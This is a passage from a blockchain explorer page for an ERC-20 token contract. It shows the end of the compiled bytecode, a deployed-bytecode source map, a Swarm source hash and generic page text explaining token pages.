d60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610546565b6001600160a01b038216610cc55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610546565b60008111610d275760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610546565b6001600160a01b03831660009081526004602052604090205460ff16610d8d57600954600b546001600160a01b038481169116148015610d755750600a546001600160a01b03858116911614155b610d80576000610d82565b815b1115610d8d57600080fd5b6000546001600160a01b03848116911614801590610db957506000546001600160a01b03838116911614155b15610edc57600b546001600160a01b038481169116148015610de95750600a546001600160a01b03838116911614155b8015610e0e57506001600160a01b03821660009081526004602052604090205460ff16155b15610e64576008548110610e645760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610546565b30600090815260026020526040902054600b54600160a81b900460ff16158015610e9c5750600b546001600160a01b03858116911614155b8015610eb15750600b54600160b01b900460ff165b15610eda57610ebf81610fb5565b47670de0b6b3a76400008110610ed857610ed847610f77565b505b505b6001600160a01b038216600090815260046020526040902054610f389084908490849060ff1680610f2557506001600160a01b03871660009081526004602052604090205460ff165b610f315760065461115d565b600061115d565b505050565b60008184841115610f615760405162461bcd60e51b81526004016105469190611381565b506000610f6e848661154a565b95945050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610fb1573d6000803e3d6000fd5b5050565b600b805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ffd57610ffd611561565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611056573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107a91906114c7565b8160018151811061108d5761108d611561565b6001600160a01b039283166020918202929092010152600a546110b39130911684610adb565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110ec908590600090869030904290600401611577565b600060405180830381600087803b15801561110657600080fd5b505af115801561111a573d6000803e3d6000fd5b5050600b805460ff60a81b1916905550505050565b600081836111505760405162461bcd60e51b81526004016105469190611381565b506000610f6e84866115e8565b6000611174606461116e8585611261565b90610a92565b9050600061118284836112e0565b6001600160a01b0387166000908152600260205260409020549091506111a890856112e0565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546111d79082611322565b6001600160a01b0386166000908152600260205260408082209290925530815220546112039083611322565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b60008261127057506000610427565b600061127c838561160a565b90508261128985836115e8565b14610ad45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610546565b6000610ad483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f3d565b60008061132f8385611629565b905083811015610ad45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610546565b600060208083528351808285015260005b818110156113ae57858101830151858201604001528201611392565b818111156113c0576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104b757600080fd5b600080604083850312156113fe57600080fd5b8235611409816113d6565b946020939093013593505050565b60008060006060848603121561142c57600080fd5b8335611437816113d6565b92506020840135611447816113d6565b929592945050506040919091013590565b60006020828403121561146a57600080fd5b8135610ad4816113d6565b60006020828403121561148757600080fd5b5035919050565b600080604083850312156114a157600080fd5b82356114ac816113d6565b915060208301356114bc816113d6565b809150509250929050565b6000602082840312156114d957600080fd5b8151610ad4816113d6565b6000602082840312156114f657600080fd5b81518015158114610ad457600080fd5b60008060006060848603121561151b57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b60008282101561155c5761155c611534565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115c75784516001600160a01b0316835293830193918301916001016115a2565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261160557634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561162457611624611534565b500290565b6000821982111561163c5761163c611534565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208bb366635d54da7a19eeeef6feaa9f71101f29fb45b56301bfa7d2254ea3d0df64736f6c634300080a0033
Deployed Bytecode Sourcemap
4670:6416:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5911:74;;;;;;;;;;-1:-1:-1;5154:10:0;;;;;;;;;;;;-1:-1:-1;;;5154:10:0;;;;5911:74;;;;;;;:::i;:::-;;;;;;;;6653:146;;;;;;;;;;-1:-1:-1;6653:146:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;6653:146:0;1072:187:1;6152:86:0;;;;;;;;;;-1:-1:-1;6226:7:0;;6152:86;;;1410:25:1;;;1398:2;1383:18;6152:86:0;1264:177:1;6804:292:0;;;;;;;;;;-1:-1:-1;6804:292:0;;;;;:::i;:::-;;:::i;6073:74::-;;;;;;;;;;-1:-1:-1;6073:74:0;;3962:1;2049:36:1;;2037:2;2022:18;6073:74:0;1907:184:1;10941:138:0;;;;;;;;;;;;;:::i;:::-;;9598:73;;;;;;;;;;;;;:::i;9768:314::-;;;;;;;;;;;;;:::i;7175:74::-;;;;;;;;;;-1:-1:-1;7233:11:0;;7175:74;;6243:109;;;;;;;;;;-1:-1:-1;6243:109:0;;;;;:::i;:::-;-1:-1:-1;;;;;6330:17:0;6309:7;6330:17;;;:8;:17;;;;;;;6243:109;4526:133;;;;;;;;;;;;;:::i;8907:102::-;;;;;;;;;;-1:-1:-1;8907:102:0;;;;;:::i;:::-;;:::i;4342:70::-;;;;;;;;;;-1:-1:-1;4380:7:0;4401:6;4342:70;;-1:-1:-1;;;;;4401:6:0;;;2494:51:1;;2482:2;2467:18;4342:70:0;2348:203:1;5990:78:0;;;;;;;;;;-1:-1:-1;5202:12:0;;;;;;;;;;;;-1:-1:-1;;;5202:12:0;;;;5990:78;;9474:119;;;;;;;;;;-1:-1:-1;9474:119:0;;;;;:::i;:::-;;:::i;6357:152::-;;;;;;;;;;-1:-1:-1;6357:152:0;;;;;:::i;:::-;;:::i;10797:139::-;;;;;;;;;;;;;:::i;6514:134::-;;;;;;;;;;-1:-1:-1;6514:134:0;;;;;:::i;:::-;-1:-1:-1;;;;;6616:18:0;;;6595:7;6616:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6514:134;8806:96;;;;;;;;;;-1:-1:-1;8806:96:0;;;;;:::i;:::-;;:::i;10087:220::-;;;;;;;;;;;;;:::i;7254:201::-;;;:::i;7101:69::-;;;;;;;;;;;;;:::i;6653:146::-;6728:4;6739:39;2104:10;6762:7;6771:6;6739:8;:39::i;:::-;-1:-1:-1;6790:4:0;6653:146;;;;;:::o;6804:292::-;6902:4;6913:36;6923:6;6931:9;6942:6;6913:9;:36::i;:::-;6954:121;6963:6;2104:10;6985:89;7023:6;6985:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6985:19:0;;;;;;:11;:19;;;;;;;;2104:10;6985:33;;;;;;;;;;:37;:89::i;:::-;6954:8;:121::i;:::-;-1:-1:-1;7087:4:0;6804:292;;;;;:::o;10941:138::-;9430:10;;-1:-1:-1;;;;;9430:10:0;2104;9430:26;9422:36;;;;;;11016:21:::1;11042:32;11016:21:::0;11042:12:::1;:32::i;:::-;10982:97;10941:138::o:0;9598:73::-;9430:10;;-1:-1:-1;;;;;9430:10:0;2104;9430:26;9422:36;;;;;;9659:7:::1;::::0;9646:12:::1;:20:::0;9598:73::o;9768:314::-;9430:10;;-1:-1:-1;;;;;9430:10:0;2104;9430:26;9422:36;;;;;;9831:9:::1;::::0;-1:-1:-1;;;9831:9:0;::::1;;;9830:10;9822:45;;;::::0;-1:-1:-1;;;9822:45:0;;3336:2:1;9822:45:0::1;::::0;::::1;3318:21:1::0;3375:2;3355:18;;;3348:30;3414:25;3394:18;;;3387:53;3457:18;;9822:45:0::1;;;;;;;;;9904:8;::::0;9915:7:::1;::::0;9872:51:::1;::::0;9889:4:::1;::::0;-1:-1:-1;;;;;9904:8:0;;::::1;::::0;9872::::1;:51::i;:::-;9954:8;;;;;;;;;-1:-1:-1::0;;;;;9954:8:0::1;-1:-1:-1::0;;;;;9954:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9936:48:0::1;;9993:4;10000:8;;;;;;;;;-1:-1:-1::0;;;;;10000:8:0::1;-1:-1:-1::0;;;;;10000:13:0::1;;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9936:80;::::0;-1:-1:-1;;;;;;9936:80:0::1;::::0;;;;;;-1:-1:-1;;;;;3972:15:1;;;9936:80:0::1;::::0;::::1;3954:34:1::0;4024:15;;4004:18;;;3997:43;3889:18;;9936:80:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9928:5;:88:::0;;-1:-1:-1;;;;;;9928:88:0::1;-1:-1:-1::0;;;;;9928:88:0;;::::1;::::0;;::::1;::::0;;;10051:8:::1;::::0;10021:56:::1;::::0;-1:-1:-1;;;10021:56:0;;10051:8;::::1;10021:56;::::0;::::1;4225:51:1::0;-1:-1:-1;;4292:18:1;;;4285:34;9928:88:0;10021:21:::1;::::0;4198:18:1;;10021:56:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;4526:133::-:0;4451:6;;-1:-1:-1;;;;;4451:6:0;2104:10;4451:22;4443:67;;;;-1:-1:-1;;;4443:67:0;;4814:2:1;4443:67:0;;;4796:21:1;;;4833:18;;;4826:30;4892:34;4872:18;;;4865:62;4944:18;;4443:67:0;4612:356:1;4443:67:0;4627:1:::1;4611:6:::0;;4590:40:::1;::::0;-1:-1:-1;;;;;4611:6:0;;::::1;::::0;4590:40:::1;::::0;4627:1;;4590:40:::1;4652:1;4635:19:::0;;-1:-1:-1;;;;;;4635:19:0::1;::::0;;4526:133::o;8907:102::-;9430:10;;-1:-1:-1;;;;;9430:10:0;2104;9430:26;9422:36;;;;;;-1:-1:-1;;;;;8973:25:0::1;8999:5;8973:25:::0;;;:18:::1;:25;::::0;;;;:31;;-1:-1:-1;;8973:31:0::1;::::0;;8907:102::o;9474:119::-;9430:10;;-1:-1:-1;;;;;9430:10:0;2104;9430:26;9422:36;;;;;;3812:2:::1;9542:10;:22;9534:31;;;::::0;::::1;;9570:7;:18:::0;9474:119::o;6357:152::-;6435:4;6446:42;2104:10;6470:9;6481:6;6446:9;:42::i;10797:139::-;9430:10;;-1:-1:-1;;;;;9430:10:0;2104;9430:26;9422:36;;;;;;10887:4:::1;10843:23;6330:17:::0;;;:8;:17;;;;;;10898:33:::1;6330:17:::0;10898:16:::1;:33::i;8806:96::-:0;9430:10;;-1:-1:-1;;;;;9430:10:0;2104;9430:26;9422:36;;;;;;-1:-1:-1;;;;;8867:25:0::1;;::::0;;;:18:::1;:25;::::0;;;;:30;;-1:-1:-1;;8867:30:0::1;8893:4;8867:30;::::0;;8806:96::o;10087:220::-;9430:10;;-1:-1:-1;;;;;9430:10:0;2104;9430:26;9422:36;;;;;;10135:8:::1;::::0;-1:-1:-1;;;;;10135:8:0::1;:24;10167:21;10198:4;10204:24;10198:4:::0;-1:-1:-1;;;;;6330:17:0;6309:7;6330:17;;;:8;:17;;;;;;;6243:109;10204:24:::1;10229:1;10231::::0;10233:7:::1;4380::::0;4401:6;-1:-1:-1;;;;;4401:6:0;;4342:70;10233:7:::1;10135:122;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10135:122:0;;;-1:-1:-1;;;;;5332:15:1;;;10135:122:0::1;::::0;::::1;5314:34:1::0;5364:18;;;5357:34;;;;5407:18;;;5400:34;;;;5450:18;;;5443:34;5514:15;;;5493:19;;;5486:44;10241:15:0::1;5546:19:1::0;;;5539:35;5248:19;;10135:122:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10262:12:0::1;:19:::0;;-1:-1:-1;;;;10286:16:0;-1:-1:-1;;;10286:16:0;;;-1:-1:-1;10087:220:0:o;7254:201::-;7350:4;7303;6330:17;;;:8;:17;;;;;;7321:9;:35;;7313:81;;;;-1:-1:-1;;;7313:81:0;;6098:2:1;7313:81:0;;;6080:21:1;6137:2;6117:18;;;6110:30;6176:34;6156:18;;;6149:62;-1:-1:-1;;;6227:18:1;;;6220:32;6269:19;;7313:81:0;5896:398:1;7313:81:0;-1:-1:-1;7418:10:0;7399:30;;;;:18;:30;;;;;:35;;-1:-1:-1;;7399:35:0;7430:4;7399:35;;;;;;7430:4;7254:201::o;7101:69::-;9430:10;;-1:-1:-1;;;;;9430:10:0;2104;9430:26;9422:36;;;;;;7164:1:::1;7152:11;:13:::0;7101:69::o;3478:123::-;3536:7;3557:39;3561:1;3564;3557:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;3550:46;3478:123;-1:-1:-1;;;3478:123:0:o;7460:308::-;-1:-1:-1;;;;;7547:19:0;;7539:68;;;;-1:-1:-1;;;7539:68:0;;6501:2:1;7539:68:0;;;6483:21:1;6540:2;6520:18;;;6513:30;6579:34;6559:18;;;6552:62;-1:-1:-1;;;6630:18:1;;;6623:34;6674:19;;7539:68:0;6299:400:1;7539:68:0;-1:-1:-1;;;;;7620:21:0;;7612:68;;;;-1:-1:-1;;;7612:68:0;;6906:2:1;7612:68:0;;;6888:21:1;6945:2;6925:18;;;6918:30;6984:34;6964:18;;;6957:62;-1:-1:-1;;;7035:18:1;;;7028:32;7077:19;;7612:68:0;6704:398:1;7612:68:0;-1:-1:-1;;;;;7685:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7731:32;;1410:25:1;;;7731:32:0;;1383:18:1;7731:32:0;;;;;;;7460:308;;;:::o;7773:1028::-;-1:-1:-1;;;;;7855:18:0;;7847:68;;;;-1:-1:-1;;;7847:68:0;;7309:2:1;7847:68:0;;;7291:21:1;7348:2;7328:18;;;7321:30;7387:34;7367:18;;;7360:62;-1:-1:-1;;;7438:18:1;;;7431:35;7483:19;;7847:68:0;7107:401:1;7847:68:0;-1:-1:-1;;;;;7928:16:0;;7920:64;;;;-1:-1:-1;;;7920:64:0;;7715:2:1;7920:64:0;;;7697:21:1;7754:2;7734:18;;;7727:30;7793:34;7773:18;;;7766:62;-1:-1:-1;;;7844:18:1;;;7837:33;7887:19;;7920:64:0;7513:399:1;7920:64:0;8006:1;7997:6;:10;7989:64;;;;-1:-1:-1;;;7989:64:0;;8119:2:1;7989:64:0;;;8101:21:1;8158:2;8138:18;;;8131:30;8197:34;8177:18;;;8170:62;-1:-1:-1;;;8248:18:1;;;8241:39;8297:19;;7989:64:0;7917:405:1;7989:64:0;-1:-1:-1;;;;;8062:24:0;;;;;;:18;:24;;;;;;;;8058:119;;8159:11;;8109:5;;-1:-1:-1;;;;;8103:11:0;;;8109:5;;8103:11;:40;;;;-1:-1:-1;8134:8:0;;-1:-1:-1;;;;;8118:25:0;;;8134:8;;8118:25;;8103:40;8102:52;;8153:1;8102:52;;;8146:6;8102:52;8101:69;;8093:78;;;;;;4380:7;4401:6;-1:-1:-1;;;;;8187:15:0;;;4401:6;;8187:15;;;;:32;;-1:-1:-1;4380:7:0;4401:6;-1:-1:-1;;;;;8206:13:0;;;4401:6;;8206:13;;8187:32;8183:516;;;8239:5;;-1:-1:-1;;;;;8231:13:0;;;8239:5;;8231:13;:40;;;;-1:-1:-1;8262:8:0;;-1:-1:-1;;;;;8248:23:0;;;8262:8;;8248:23;;8231:40;:68;;;;-1:-1:-1;;;;;;8277:22:0;;;;;;:18;:22;;;;;;;;8275:24;8231:68;8227:146;;;8324:12;;8317:6;:19;8309:57;;;;-1:-1:-1;;;8309:57:0;;8529:2:1;8309:57:0;;;8511:21:1;8568:2;8548:18;;;8541:30;8607:28;8587:18;;;8580:56;8653:18;;8309:57:0;8327:350:1;8309:57:0;8429:4;8380:28;6330:17;;;:8;:17;;;;;;8446:7;;-1:-1:-1;;;8446:7:0;;;;8445:8;:25;;;;-1:-1:-1;8465:5:0;;-1:-1:-1;;;;;8457:13:0;;;8465:5;;8457:13;;8445:25;:41;;;;-1:-1:-1;8474:12:0;;-1:-1:-1;;;8474:12:0;;;;8445:41;8441:253;;;8495:38;8512:20;8495:16;:38::i;:::-;8569:21;3997:19;8600:35;;8597:91;;8645:35;8658:21;8645:12;:35::i;:::-;8488:206;8441:253;8221:478;8183:516;-1:-1:-1;;;;;8736:22:0;;;;;;:18;:22;;;;;;8705:91;;8720:4;;8725:2;;8728:6;;8736:22;;;:48;;-1:-1:-1;;;;;;8760:24:0;;;;;;:18;:24;;;;;;;;8736:48;8735:60;;8788:7;;8705:14;:91::i;8735:60::-;8786:1;8705:14;:91::i;:::-;7773:1028;;;:::o;3095:169::-;3181:7;3211:12;3203:6;;;;3195:29;;;;-1:-1:-1;;;3195:29:0;;;;;;;;:::i;:::-;-1:-1:-1;3229:9:0;3241:5;3245:1;3241;:5;:::i;:::-;3229:17;3095:169;-1:-1:-1;;;;;3095:169:0:o;9676:83::-;9727:10;;:27;;-1:-1:-1;;;;;9727:10:0;;;;:27;;;;;9747:6;;9727:10;:27;:10;:27;9747:6;9727:10;:27;;;;;;;;;;;;;;;;;;;;;9676:83;:::o;9014:378::-;5454:7;:14;;-1:-1:-1;;;;5454:14:0;-1:-1:-1;;;5454:14:0;;;9110:16:::1;::::0;;9124:1:::1;9110:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9110:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9110:16:0::1;9086:40;;9149:4;9131;9136:1;9131:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9131:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9169:8:::1;::::0;:15:::1;::::0;;-1:-1:-1;;;9169:15:0;;;;:8;;;::::1;::::0;:13:::1;::::0;:15:::1;::::0;;::::1;::::0;9131:7;;9169:15;;;;;:8;:15:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9159:4;9164:1;9159:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9159:25:0;;::::1;:7;::::0;;::::1;::::0;;;;;:25;9221:8:::1;::::0;9189:55:::1;::::0;9206:4:::1;::::0;9221:8:::1;9232:11:::0;9189:8:::1;:55::i;:::-;9249:8;::::0;:138:::1;::::0;-1:-1:-1;;;9249:138:0;;-1:-1:-1;;;;;9249:8:0;;::::1;::::0;:59:::1;::::0;:138:::1;::::0;9314:11;;9249:8:::1;::::0;9338:4;;9356::::1;::::0;9367:15:::1;::::0;9249:138:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5479:7:0;:15;;-1:-1:-1;;;;5479:15:0;;;-1:-1:-1;;;;9014:378:0:o;3606:168::-;3692:7;3721:12;3714:5;3706:28;;;;-1:-1:-1;;;3706:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3739:9:0;3751:5;3755:1;3751;:5;:::i;10312:446::-;10418:13;10434:29;10459:3;10434:20;:7;10446;10434:11;:20::i;:::-;:24;;:29::i;:::-;10418:45;-1:-1:-1;10468:23:0;10494:18;:7;10418:45;10494:11;:18::i;:::-;-1:-1:-1;;;;;10538:16:0;;;;;;:8;:16;;;;;;10468:44;;-1:-1:-1;10538:29:0;;10559:7;10538:20;:29::i;:::-;-1:-1:-1;;;;;10519:16:0;;;;;;;:8;:16;;;;;;:48;;;;10594:19;;;;;;;:40;;10618:15;10594:23;:40::i;:::-;-1:-1:-1;;;;;10572:19:0;;;;;;:8;:19;;;;;;:62;;;;10682:4;10665:23;;;;:34;;10693:5;10665:27;:34::i;:::-;10656:4;10639:23;;;;:8;:23;;;;;;;;;:60;;;;10709:44;1410:25:1;;;-1:-1:-1;;;;;10709:44:0;;;;;;;;;;1383:18:1;10709:44:0;;;;;;;10413:345;;10312:446;;;;:::o;3269:204::-;3327:7;3345:6;3341:32;;-1:-1:-1;3366:1:0;3359:8;;3341:32;3377:9;3389:5;3393:1;3389;:5;:::i;:::-;3377:17;-1:-1:-1;3416:1:0;3407:5;3411:1;3377:17;3407:5;:::i;:::-;:10;3399:56;;;;-1:-1:-1;;;3399:56:0;;10790:2:1;3399:56:0;;;10772:21:1;10829:2;10809:18;;;10802:30;10868:34;10848:18;;;10841:62;-1:-1:-1;;;10919:18:1;;;10912:31;10960:19;;3399:56:0;10588:397:1;2963:127:0;3021:7;3042:43;3046:1;3049;3042:43;;;;;;;;;;;;;;;;;:3;:43::i;2800:158::-;2858:7;;2884:5;2888:1;2884;:5;:::i;:::-;2872:17;;2907:1;2902;:6;;2894:46;;;;-1:-1:-1;;;2894:46:0;;11325:2:1;2894:46:0;;;11307:21:1;11364:2;11344:18;;;11337:30;11403:29;11383:18;;;11376:57;11450:18;;2894:46:0;11123:351:1;14:597;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;752:315;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1446:456::-;1523:6;1531;1539;1592:2;1580:9;1571:7;1567:23;1563:32;1560:52;;;1608:1;1605;1598:12;1560:52;1647:9;1634:23;1666:31;1691:5;1666:31;:::i;:::-;1716:5;-1:-1:-1;1773:2:1;1758:18;;1745:32;1786:33;1745:32;1786:33;:::i;:::-;1446:456;;1838:7;;-1:-1:-1;;;1892:2:1;1877:18;;;;1864:32;;1446:456::o;2096:247::-;2155:6;2208:2;2196:9;2187:7;2183:23;2179:32;2176:52;;;2224:1;2221;2214:12;2176:52;2263:9;2250:23;2282:31;2307:5;2282:31;:::i;2556:180::-;2615:6;2668:2;2656:9;2647:7;2643:23;2639:32;2636:52;;;2684:1;2681;2674:12;2636:52;-1:-1:-1;2707:23:1;;2556:180;-1:-1:-1;2556:180:1:o;2741:388::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;2925:9;2912:23;2944:31;2969:5;2944:31;:::i;:::-;2994:5;-1:-1:-1;3051:2:1;3036:18;;3023:32;3064:33;3023:32;3064:33;:::i;:::-;3116:7;3106:17;;;2741:388;;;;;:::o;3486:251::-;3556:6;3609:2;3597:9;3588:7;3584:23;3580:32;3577:52;;;3625:1;3622;3615:12;3577:52;3657:9;3651:16;3676:31;3701:5;3676:31;:::i;4330:277::-;4397:6;4450:2;4438:9;4429:7;4425:23;4421:32;4418:52;;;4466:1;4463;4456:12;4418:52;4498:9;4492:16;4551:5;4544:13;4537:21;4530:5;4527:32;4517:60;;4573:1;4570;4563:12;5585:306;5673:6;5681;5689;5742:2;5730:9;5721:7;5717:23;5713:32;5710:52;;;5758:1;5755;5748:12;5710:52;5787:9;5781:16;5771:26;;5837:2;5826:9;5822:18;5816:25;5806:35;;5881:2;5870:9;5866:18;5860:25;5850:35;;5585:306;;;;;:::o;8682:127::-;8743:10;8738:3;8734:20;8731:1;8724:31;8774:4;8771:1;8764:15;8798:4;8795:1;8788:15;8814:125;8854:4;8882:1;8879;8876:8;8873:34;;;8887:18;;:::i;:::-;-1:-1:-1;8924:9:1;;8814:125::o;9076:127::-;9137:10;9132:3;9128:20;9125:1;9118:31;9168:4;9165:1;9158:15;9192:4;9189:1;9182:15;9208:980;9470:4;9518:3;9507:9;9503:19;9549:6;9538:9;9531:25;9575:2;9613:6;9608:2;9597:9;9593:18;9586:34;9656:3;9651:2;9640:9;9636:18;9629:31;9680:6;9715;9709:13;9746:6;9738;9731:22;9784:3;9773:9;9769:19;9762:26;;9823:2;9815:6;9811:15;9797:29;;9844:1;9854:195;9868:6;9865:1;9862:13;9854:195;;;9933:13;;-1:-1:-1;;;;;9929:39:1;9917:52;;10024:15;;;;9989:12;;;;9965:1;9883:9;9854:195;;;-1:-1:-1;;;;;;;10105:32:1;;;;10100:2;10085:18;;10078:60;-1:-1:-1;;;10169:3:1;10154:19;10147:35;10066:3;9208:980;-1:-1:-1;;;9208:980:1:o;10193:217::-;10233:1;10259;10249:132;;10303:10;10298:3;10294:20;10291:1;10284:31;10338:4;10335:1;10328:15;10366:4;10363:1;10356:15;10249:132;-1:-1:-1;10395:9:1;;10193:217::o;10415:168::-;10455:7;10521:1;10517;10513:6;10509:14;10506:1;10503:21;10498:1;10491:9;10484:17;10480:45;10477:71;;;10528:18;;:::i;:::-;-1:-1:-1;10568:9:1;;10415:168::o;10990:128::-;11030:3;11061:1;11057:6;11054:1;11051:13;11048:39;;;11067:18;;:::i;:::-;-1:-1:-1;11103:9:1;;10990:128::o
Swarm Source
ipfs://8bb366635d54da7a19eeeef6feaa9f71101f29fb45b56301bfa7d2254ea3d0df
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.